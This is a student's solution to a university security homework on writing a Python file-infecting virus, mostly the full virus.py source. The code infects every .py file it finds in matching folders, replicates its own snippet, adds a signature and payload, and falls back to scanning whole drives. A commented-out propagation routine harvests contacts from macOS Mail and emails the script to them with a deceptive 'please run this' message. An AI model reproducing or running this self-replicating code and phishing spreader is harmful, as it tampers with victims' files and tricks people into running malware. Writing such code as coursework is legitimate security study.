CS253 Cyber Security, Fall 2022-23

Homework Set #4

Prof. Yuqi Chen

Acknowledgements:

1) Deadline: **2022-10-03 23:59:59**
2) No handwritten is accepted.
3) Coding with any programming language is okay.
4) Do not skip any steps to get more grades.

Problem 1. (100 points)

Write a simple virus to infect python script

- Infect all the files with a ".py" suffix in the "malware_p" folder.
- Payload: display a message "I see you!"
- Replicates
- Pre-pending:keep original code
- Signature

You need to attach your code with the manual including assumptions and privileges. Your code will be run first and tested whether any ".py" script in "malware_p" can infect other new scripts.

Solution:

Assumptions and privileges:

1. If the 'malware_p' folder is in the same directory as virus.py, no other permissions are required. Otherwise, read and write privileges for the directory where 'malware_p' is located may be required.

2. The propagation() function can only be used in macos at the moment, and I commented it out because it is not required by the homework. It will read recent email contacts and try to send phishing emails, which may require read privileges to some directories.

Quick test:

I provide 'test_virus_mac.sh'(should also work on Linux) and 'test_virus_win.sh' for testing. The scripts will first run virus.py and infect all python script files in the target directory, then create a new python file in the target directory, and finally run an already infected python file to infect the newly created file. You can check and run the python files in the target directory to see if virus.py meets expectations.

Following is the code in virus.py:

```
# Miss.Sirius
# Virus Snippet Start
import os
```

```
import platform

import emlx
import glob
import re

folder_name = 'malware_p'
signature = 'Miss.Sirius'
payload_msg = 'I see you!'
user_name = os.path.expanduser('~').split('/')[-1]
cheat_msg = '''
Hello,
please help me to run this script since my python environment doesn't work.
--
Best Regards
Yours {}'''.format(user_name)

'''
Search for victim files under certain folder
'''


def search_dir(dir_path='', res_list=None):
    if res_list is None:
        res_list = []
    for root, dirs, files in os.walk(dir_path):
        for file in files:
            if '.py' == file[-3:] and folder_name in root:
                res_list.append(os.path.join(root, file))

        for dir_ in dirs:
            if folder_name in dir_:
                search_dir(os.path.join(root, dir_))


'''
Replicate by copy virus snippet into victim file
'''


def replicate(file_path=''):
    with open(__file__, 'r') as f:
        lines = f.readlines()
        snippet_id_start = lines.index('# Virus Snippet Start\n')
        snippet_id_end = lines.index('# Virus Snippet End\n')
        code_snippet = lines[snippet_id_start:snippet_id_end + 1]
```

```
    with open(file_path, 'a') as f:
        f.write('\n')
        f.writelines(code_snippet)


'''
Write signature into uninfected files and return false,
if infected it return true
'''


def write_signature(file_path='') -> bool:
    with open(file_path, 'r') as f:
        lines = f.readlines()
        for line in lines:
            if signature in line:
                return True

    with open(file_path, 'r+') as f:
        old = f.read()
        f.seek(0)
        f.write('# {}\n'.format(signature))
        f.write(old)
        return False


'''
Just show a sentence when running infected scripts
'''


def payload(file_path=''):
    with open(file_path, 'a') as f:
        f.write('\nprint(\'{}\')\n'.format(payload_msg))


'''
Propagation by sending phishing email
Only tested on macOS Monterey v12.5.1
Windows and Linux may have different location to store '.emlx' file so this function cannot work
'''


def propagation():
    if platform.system() == "Darwin":
        pass
        # victim_mail_address = set()
```

```
        # for filepath in glob.iglob("/Users/{}/Library/Mail/**/*.emlx".format(user_name),
                                                                recursive=True):
        #     mail = emlx.read(filepath)
        #     addr = re.search(r'[\w.+-]+@[\w-]+\.[\w.-]+', mail.headers['From']).group(0)
        #     victim_mail_address.add(addr)
        #
        # for mail_addr in victim_mail_address:
        #     exec_cmd = '''(echo \"{}\"; uuencode {} readme.py)| mail -s \"Help me!!!\" {}'''.
                                                                format(cheat_msg, __file__, mail_addr)
        #     os.system(exec_cmd)
    else:
        pass
        # Todo: Under developing


def infect(dir_path=''):
    victim_files = []
    search_dir(dir_path, victim_files)

    infected_nums = 0
    success_infect = 0
    for file in victim_files:
        if not write_signature(file):
            print('Infecting ' + file + ' by ' + __file__)
            replicate(file)
            payload(file)
            success_infect += 1
        else:
            infected_nums += 1

    if infected_nums == 1:
        propagation()

    return success_infect


if infect('./') == 0:
    if platform.system() == "Windows":
        infect('C:/')
        infect('D:/')
    elif platform.system() == "Darwin":
        infect('/Users/{}/'.format(user_name))
    elif platform.system() == "Linux":
        infect('/')
# Virus Snippet End
```